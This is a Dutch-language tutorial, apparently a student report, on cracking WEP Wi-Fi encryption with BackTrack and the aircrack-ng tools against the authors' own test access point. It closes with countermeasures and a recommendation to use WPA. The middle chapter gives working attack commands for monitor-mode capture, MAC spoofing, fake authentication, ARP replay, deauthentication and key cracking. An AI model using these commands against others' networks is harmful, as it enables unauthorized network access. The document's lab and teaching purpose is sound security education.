Inhoudstafel 1 1.1 1.2
WEP (Wired Equivalent Privacy) ................................................................. 2 Wat is WEP? ............................................................................................. 2 Hoe werkt WEP? ....................................................................................... 3
2 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 2.9
Hacken van WEP....................................................................................... 4 Inleiding................................................................................................... 4 Leren werken met de Back|Track Linux distro.............................................. 5 Zoeken naar draadloze netwerken met Kismet............................................. 6 Pakketjes sniffen (IVs) met airodump-ng..................................................... 7 Fake authentication attack ......................................................................... 8 Opgevangen pakketjes terug verzenden met aireplay................................... 9 DE-AUTH attack ...................................................................................... 10 Het kraken van de WEP key ..................................................................... 11 Problemen .............................................................................................. 12
3 3.1 3.2 3.3 3.4 3.5 3.6 3.7
Tegenmaatregelen .................................................................................. 13 Use WPA with a strong key ...................................................................... 13 Change the default settings on your access point....................................... 13 Update your firmware.............................................................................. 13 Network segregation ............................................................................... 13 Turn off the WLAN when not in use .......................................................... 13 Fake AP.................................................................................................. 13 Eventuele extra maatregel ....................................................................... 14
4
Conclusie................................................................................................ 15
1
WEP (Wired Equivalent Privacy)
1.1 Wat is WEP? WEP (Wired Equivalent Privacy) is een schema dat deel uitmaakt van de IEEE 802.11 draadloze netwerkstandaard om draadloze netwerken te beveiligen. Draadloze netwerken zijn zeer gevoelig voor hacking (Eavesdropping; letterlijk: afluisteren) omdat ze informatie uitzenden via radiogolven. De bedoeling achter WEP was dezelfde beveiligingsmogelijkheden te kunnen bieden als een traditioneel netwerk (met draden). Er werden een aantal zwaktes vastgesteld door encryptie specialisten. Zo blijkt dat iedere WEP sleutel in korte tijd te kraken valt met een aantal softwareprogramma’s. WEP werd opgevolgd in 2003 door WPA (Wi-Fi Protected Access) en in 2004 door WPA2. WEP is alleen geschikt voor thuisgebruik om vreemden die gemakkelijk toegang tot iemands draadloze netwerk (en waarschijnlijk internetverbinding) te ontzeggen.
2/16
1.2 Hoe werkt WEP? • • •
•
Van de te verzenden data wordt een CRC32-checksum berekend. Deze checksum wordt achter de data geplakt. Het nieuwe geheel (Data + CRC32(Data)) wordt de 'plaintext' genoemd. ('Plain', omdat dit stuk nog niet gecodeerd is en dus gewoon leesbaar.) De keystream wordt als volgt berekend: keystream = RC4(IV, sleutel). o IV = initiële vectoren. Dit zijn een aantal willekeurige getallen die mogen, maar NIET moeten (volgens de IEEE WEP-specificaties), veranderen bij elk nieuw verzonden pakket. o sleutel = een afgesproken 'wachtwoord' dat gebruikt wordt, en door beide NIC's op voorhand gekend is. Het pakket wordt samengesteld: Eerst worden de keystream en plaintext samen ge-XOR'd, en vervolgens wordt de IV voor het pakketje geplakt. Dan word het pakket verzonden.
Kort samengevat: pakket = IV + XOR(data + crc32(data), RC4(IV, sleutel))
Bij WEP encryptie wordt een 64 bits of een 128 bits sleutel gebruikt. Het instellen van WEP kan verwarrend zijn. 40 bits en 64 bits betekenen hetzelfde. WEP gebruikt een initialization vector (IV) van 24 bits. Dit is een stuk van de sleutel die niet door de gebruiker verzonnen wordt. De ene fabrikant zet 40 bits (64 - 24) in zijn router, de andere 64 bits. Hetzelfde geldt voor 128 bit en 104 bit. Netwerkkaarten die 128 bits WEP encryptie ondersteunen kunnen samenwerken met netwerkkaarten die een 64 bits sleutel gebruiken, mits de 128 bits kaarten ook 64 bits encryptie ondersteunen. WEP sleutels kunnen verschillende vormen hebben: ASCII of hexadecimaal.
3/16
2
Hacken van WEP
2.1 Inleiding In deze handleiding beschrijven we het kraken van WEP via de software die beschikbaar is op de Back|Track Linux distro. We overlopen alle stappen die nodig zijn voor het hacken, maar we schenken ook aandacht aan de uitzonderingen die wel eens durven voorkomen. Al de stappen kan je via de console uitvoeren aangezien het allemaal consoleapplicaties zijn en omdat dit gemakkelijker werkt op een laptop. Onze opstelling: • Een draadloos accesspoint, beveiligd met 128bits WEP encryptie. Het ESSID wordt niet gebroadcast. • Een laptop met een PRISM 802.11g Wireless Adapter (3890) netwerkkaart. Deze heeft een Intersil PRISM GT chipset. • Het draadloze netwerk heeft geen gebruikers. Daarom hebben we MAC filtering uitstaan. De gebruikte netwerkkaart heeft alles aan boord voor het binnendringen van een draadloos netwerk: Chipset PrismGT
Supported by airodump for Windows YES
Supported by airodump for Linux FullMAC: YES SoftMAC: NOT YET
Supported by aireplay for Linux YES (driver patching recommended)
Uit deze handleidingen halen we onze mosterd:
http://www.aircrack-ng.org/doku.php?id=newbie_guide http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks http://forums.remote-exploit.org/showthread.php?t=1556
De mannier die wij volgen voor het hacken van WEP, wordt op het internet ook wel eens ‘WEP Cracking, the FBI Way’ genoemd.
4/16
2.2 Leren werken met de Back|Track Linux distro. Voordat we kunnen beginnen is het nodig dat we met de Live CD kunnen werken. Hier volgen enkele basis commando’s die wij gebruiken: Commando’s login: root paswoord: toor alt+F1-F6 alt+F7 ctrl+alt+F8 loadkeys be-latin1
Resultaat Inloggen. Deze gegevens kan je op het welkomstscherm vinden. Switch tussen de 6 beschikbare consoles. Ga naar KDE vanuit de console. Keer terug naar de console vanuit KDE. Dit stelt het toetsenbord van de console in op azerty. In KDE: via de Amerikaanse vlag. xconf Autoconfiguratie van de grafische kaart voor betere prestaties. We gebruiken dit niet aangezien we zonder dit commando in een hogere resolutie werken. startx BackTrack start KDE. flux BackTrack start fluxbox. Dit is een lichte x window manager. leetmode Systeeminfo op het bureaublad. ctrl+alt+backspace Sluit de gui. (of ‘Log Out…’) reboot Computer opnieuw opstarten. poweroff Sluit de computer af. BackTrack is een distro gebaseerd op Slax, een live CD van Slackware, die gebruikt wordt om netwerken door te lichten. Daarom worden de netwerkonderdelen niet automatisch geconfigureerd bij het inpluggen. Om je netwerkkaarten op te starten via een DHCP (Dynamic Host Control Protocol) server (deze kent je automatisch een IP toe) typ je: dhcpcd (gebruikt standaard eth0) dhcpcd eth1 voor een specifieke interface. In dit geval de gewone netwerkkaart. Grafisch: K -> Internet -> Set IP Address Als alles goed is ingeplugd, kan je nu surfen. ifconfig toont alle netwerk interfaces. Dit hebben we later ook nodig om het MAC adres op te zoeken. (iwconfig) eth1
Link encap:Ethernet HWaddr 00:0A:E4:4D:F6:4C inet addr:192.168.2.45 Bcast:192.168.2.255 Mask:255.255.255.0 ...
Een usb-stick mounten doe je als volgt: mount /dev/sda1 /mnt/sda1_removable umount sda1_removable
5/16
2.3 Zoeken naar draadloze netwerken met Kismet Kismet is een 802.11 layer2 wireless network detector, sniffer en intrusion detection system. Het werkt met elke netwerkkaart die raw monitoring (rfmon) mode ondersteunt. Het kan 802.11b, 802.11a en 802.11g verkeer sniffen. Kismet vindt netwerken door passief pakketjes te verzamelen. Het kan benoemde en verborgen netwerken (deze broadcasten hun ESSID niet) ontdekken. http://www.kismetwireless.net/documentation.shtml Je moet je draadloze netwerkkaart in monitor mode plaatsen voordat je kismet kan opstarten. Met de snelkoppeling in de gui is dit niet nodig. airmon-ng start eth0 airmon-ng <start|stop>
[channel] Hiermee kan je de interface uit monitor mode halen of op een bepaald kanaal vastzetten. kismet
start Kismet op in de console
Te gebruiken commando’s: m mute sound h help window. Toont een venster met al de commando’s. x/q close window s sorteer de lijst van netwerken (dit is nodig om een bepaald netwerk te kunnen vastzetten) L lock channel i Network details c Toon een lijst van alle verbonden computers. Als MAC filtering geactiveerd is, kan je uit deze lijst een MAC adres kiezen. Kismet toont de beschikbare netwerken. Het SSID kan nog niet gevonden worden aangezien er geen gebruikers zijn. We beschikken nu over het BSSID (MAC adres) en het kanaal van het accespoint. Kismet kan IVs opvangen, maar we gaan hiervoor airodump-ng gebruiken. Sluit Kismet.
6/16
2.4 Pakketjes sniffen (IVs) met airodump-ng Airodump-ng wordt gebruikt voor het opvangen van ruwe 802.11 frames en is in het bijzonder geschikt voor het verzamelen van WEP IVs (initialization vectors). Het is de bedoeling dat we deze opgevangen IVs gaan gebruiken om WEP te kraken met aircrack-ng. Start het programma voor het opvangen van IVs: airodump-ng –w vangop –c 2 --ivs eth0 eth0 -w vangop -c 2 -i
De naam van de draadloze netwerkkaart. Plaatst de gesnifte pakketjes in een bestand vangop-01.cap. Of vangop01.ivs als de parameter –i is meegegeven. --write <prefix> Het programma zal enkel kanaal 2 sniffen. Dit kom je te weten met kismet. --channel Enkel de IVs opslaan. Geen overbodige data voor het kraken. --ivs
Bovenaan het scherm staan al de beschikbare netwerken en onderaan staat een lijst van de verbonden gebruikers. Uitleg van de kolomkoppen kan je vinden op http://www.aircrack-ng.org/doku.php?id=airodump-ng.
7/16
2.5 Fake authentication attack Aangezien er in onze testomgeving geen gebruiker is, hebben we een MAC adres nodig voor de volgende aanvallen, die het IVs opvangen versnellen. http://www.aircrack-ng.org/doku.php?id=fake_authentication Als er wel gebruikers met het netwerk verbonden zijn, dan is het beter om daar een MAC adres van te nemen voor de volgende aanvallen. De fake authentication aanval genereert geen ARP aanvragen. MAC adres aan netwerkkaart toekennen. Hierdoor zullen de volgende aanvallen ook beter verlopen. Deze stappen kan je ook gebruiken als MAC-filtering opstaat.
of:
ifconfig eth0 down ifconfig eth0 hw ether 00:11:22:33:44:55 ifconfig eth0 up macchanger –m 00:11:22:33:44:55 eth0
Onder Windows kan dit met Mac MakeUp. aireplay-ng --fakeauth 0 -a 00:30:BD:C9:E6:08 -h 00:11:22:33:44:55 -e 'essidnaam' eth0 --fakeauth 0 of -1 0 -a -h <smac> -e <essid>
naam van de aanval + delay Access Point MAC adres Bron MAC adres ESSID
foutmelding: ARP linktype is set to 1 (Ethernet) – expected ARPHRD_IEEE80211 or ARPHRD_IEEE80211_PRISM instead. Make sure RFMON is enabled: run ‘ifconfig eth0 up; iwconfig eth0 mode Monitor channel <#>’ Sysfs injection support was not found either.
Oplossing: zet de netwerkkaar in monitor mode en op het juiste kanaal. airmon-ng start eth0 2 14:00:08 14:00:08 14:00:08 14:00:08
Sending Authentication Request Authentication successful Sending Association Request Association successful :-)
Probleem: om deze aanval te kunnen doen hebben we het ESSID nodig. Dit weten we niet. Je hebt gebruikers nodig om de aanvallen te kunnen uitvoeren en kismet of airodump-ng zullen het ESSID ontdeken. Als er geen gebruikers zijn, moet je het ESSID weten om WEP te hacken. Anders kan je de fake auth aanval niet uitvoeren.
8/16
2.6 Opgevangen pakketjes terug verzenden met aireplay Aireplay gaat pakketjes proberen te vangen die mogelijk IVs bevatten. Hij gaat deze info naar de accespoint verzenden en blijft dit herhalen. Aireplay doet zich voor als de computer waarop we later de deauth aanval uitvoeren. We gaan een ARP request, die IVs bevat, terug verzenden. aireplay-ng --arpreplay -b 00:30:BD:C9:E6:08 -h 00:11:22:33:44:55 eth0 --arpreplay of -3 -b -h eth0
naam van de aanval MAC adres accespoint MAC adres van een pc die met het accespoint is verbonden. Dit is hier het MAC adres van de fake authentication attack. De naam van de draadloze netwerkkaart.
Voer het commando uit. Het zal zoeken naar pakketjes. De deauth aanval zal het proces doen versnellen. Laat dit proces draaien tot je voldoende pakketjes hebt of begin al te kraken terwijl de pakketjes binnenstromen. Je hebt ongeveer 250000 IVs nodig voor 40-bit WEP en meer dan 800000 voor een 104-bit sleutel. We zullen zien dat dit met minder ook gaat.
9/16
2.7 DE-AUTH attack Nu laten we aireplay-ng een deauth aanval uitvoeren. Deze aanval zal een specifieke machine de verbinding met de accespoint laten verliezen. Deze pc zal automatisch terug verbinding proberen te maken. Tijdens dit proces zal het een ARP pakket verzenden. Het is de bedoeling dat we het met de vorige stap opvangen om het opnieuw te kunnen versturen. Tijdens het herverbinden kan je het ESSID sniffen. aireplay-ng --deauth 5 -a 00:30:BD:C9:E6:08 -c 00:11:22:33:44:55 eth0" --deauth 5
Het aantal keer dat de aanval moet gebeuren. Aangezien dat we hier niet met een echte gebruiker te maken hebben, laten we dit 5 keer gebeuren. Voor het ESSID te ontdekken is 1 voldoende.
-a
Access Point MAC adres
-c eth0
MAC adres van de pc waartegen we de aanval uitvoeren. De naam van de draadloze netwerkkaart.
10/16
2.8 Het kraken van de WEP key De IVs die we met airodump-ng opgevangen hebben, zullen we kraken met aircrackng. aircrack-ng -f 4 -m 00:30:BD:C9:E6:08 -n 128 capture-01.ivs Zonder al de parameters werkt het ook, maar met de parameters kan je enkele zaken specifiëren. -f 4 Hiermee kan je de fudge bepalen. Standaard staat dit op 2. Hoe hoger de waarde, hoe hoger het bruteforce niveau zal zijn. Het kraken zal meer tijd vragen, maar de graad van succes ligt hoger. -m Hiermee kies je het netwerk dat je wil kraken. In ons geval is dit overbodig aangezien er maar één netwerk beschikbaar is. -n 64 De hoeveelheid bits in de sleutel. Standaard 128. capture-01.ivs De naam van het bestand dat gemaakt wordt door airodump-ng. Het .dump bestand dat door Kismet wordt aangemaakt kan ook worden gebruikt. -k attack method (1 to 17) Enkele resultaten terwijl de IVs binnenlopen: 128bit key: 7sec 526590 IVs (fudgefactor 2; n 128) 128bit key: 28sec 596012 IVs (fudgefactor 4) 128bit key: 6sec 869600 IVs (fudgefactor 4; n 128) 128bit key, 236580 IVs: (veel minder dan de aanbevolen 800000) parameters tijd -f 2 –n 128 7sec (1406 keys getest) -f 1 niet gevonden -f 2 –k 1..17 5sec (593 keys getest) -f 3 70sec (119434 keys getest) -f 3 –k 1..17 16sec (5246keys getest) -f 4 –n 128 na 30 min stopgezet 128bit key, 1032675 IVs parameters tijd -f 1 6sec (122 keys getest) -f 1 –k 1..17 6sec (122 keys getest) -f 2 6sec (122 keys getest) -f 2 –k 1..17 6sec (122 keys getest) -f 4 6sec (122 keys getest) -f 8 6sec (122 keys getest) 128bit key, 1632202 IVs -> doet er steeds 10sec over (dezelfde key) Afhankelijk van het aantal IVs dat je hebt, zijn er opties die beter werken. Een fudge factor van 4 zorgt in de meeste gevallen voor een resultaat. http://www.securityfocus.com/infocus/1814 voor meer info.
11/16
2.9 Problemen Hier enkele problemen die kunnen opduiken: - geen pc verbonden met het draadloze netwerk; - geen SSID gevonden; - MAC filtering; - netwerkkaart kan niet meer verbinden met een netwerk. Als er geen pc met het netwerk is verbonden, kunnen we wel zorgen dat we aan de WEP key geraken, maar als het SSID niet wordt gebroadcast, dan moeten we wachten tot iemand verbinding maakt met het netwerk. Anders kunnen we het SSID niet vinden. Als MAC filtering op staat, dan moeten we wachten tot iemand verbind om daarna het MAC adres te kunnen kopiëren. Het kan zijn dat je netwerkkaart niet meer wil verbinden met een draadloos netwerk via Linux noch Windows. In ons geval was dit op deze manier opgelost: iwconfig eth0 mode auto essid any De kaart bevond zich in managed mode en zat niet vast in monitor mode, maar toch lukte het niet om een werkende verbinding tot stand te brengen.
12/16
3
Tegenmaatregelen
3.1 Use WPA with a strong key WPA is a definite improvement over WEP in providing wireless security. But the version intended for home and SOHO use - WPA-PSK - has a weakness shared by any passphrase security mechanism. The choice of simple, common and short passphrases may allow your WPA-protected WLAN to be quickly compromised via dictionary attack.
3.2 Change the default settings on your access point Default settings (SSID, administrator password, channel) are well known and even included as part of some WLAN attack tools.
3.3 Update your firmware This is helpful if your AP or client doesn't currently support WPA. Many manufacturers have newer firmware for 802.11g products that add WPA support. You may also find this for 802.11b gear, but it's not as common. Check anyway!
3.4 Network segregation Put your access point on a separate subnet, with a firewall separating the wireless and internal users.
3.5 Turn off the WLAN when not in use A $5 lamp timer from your local hardware store is a simple, but effective way to keep your WLAN or LAN from harm while you're sleeping. Bickers (FBI agent) also said that if you have an access point that can swap keys fast enough, you may be able to stay ahead of an attacker. "Most likely they will get bored and attack someone else." But for most WLAN owners, this method isn't practical. Bron: FBI Teaches Lesson In How To Break Into Wi-Fi Networks http://www.compliancepipeline.com/160502612
3.6 Fake AP If one access point is good, 53,000 must be better. Black Alchemy's Fake AP generates thousands of counterfeit 802.11b access points. Hide in plain sight amongst Fake AP's cacophony of beacon frames. As part of a honeypot or as an instrument of your site security plan, Fake AP confuses Wardrivers, NetStumblers, Script Kiddies, and other undesirables. Fake AP is a proof of concept released under the GPL. http://www.blackalchemy.to/project/fakeap/
13/16
3.7 Eventuele extra maatregel MAC adressen filteren is een beveiligingsmethode die vaak in combinatie met encryptie gebruikt wordt. Een MAC adres (ook wel 'hardware adres' of 'fysiek adres' genoemd) is een ingebakken adres dat uniek is voor elk netwerkapparaat. Het MAC adres is een hexadecimale code van twaalf tekens, bijvoorbeeld 00-C0-26-A9-42-F7. Deze code kan gebruikt worden om toegang tot het netwerk toe te zeggen of juist te blokkeren. In feite is het erg gemakkelijk.
Hoe vind ik het MAC adres van mijn netwerkkaart(en)? Ga in Windows XP 0f 2000 naar Start > Run (uitvoeren) > type 'cmd' > type 'ipconfig /all' in de prompt. Het MAC adres staat in het lijstje achter 'physical address' of 'fysiek adres'. MAC adressen filteren is een beveiliging die vaak bovenop encryptie gebruikt wordt. Een combinatie van WPA TKIP met MAC adres filters is voor de thuisgebruiker een zéér degelijke beveiliging.
14/16
4
Conclusie
Onze opdracht van het kraken van WEP is geslaagd zoals je kunt zien op volgende screenshot.
Zoals we in ons verslag al beschreven hebben, is een netwerk beveiligd met WEP niet ideaal. Maar het is wel beter als helemaal niets. Als het mogelijk is, gebruik dan WPA in plaats van WEP.
15/16
http://creativecommons.org/licenses/by-sa/3.0/deed.nl
16/16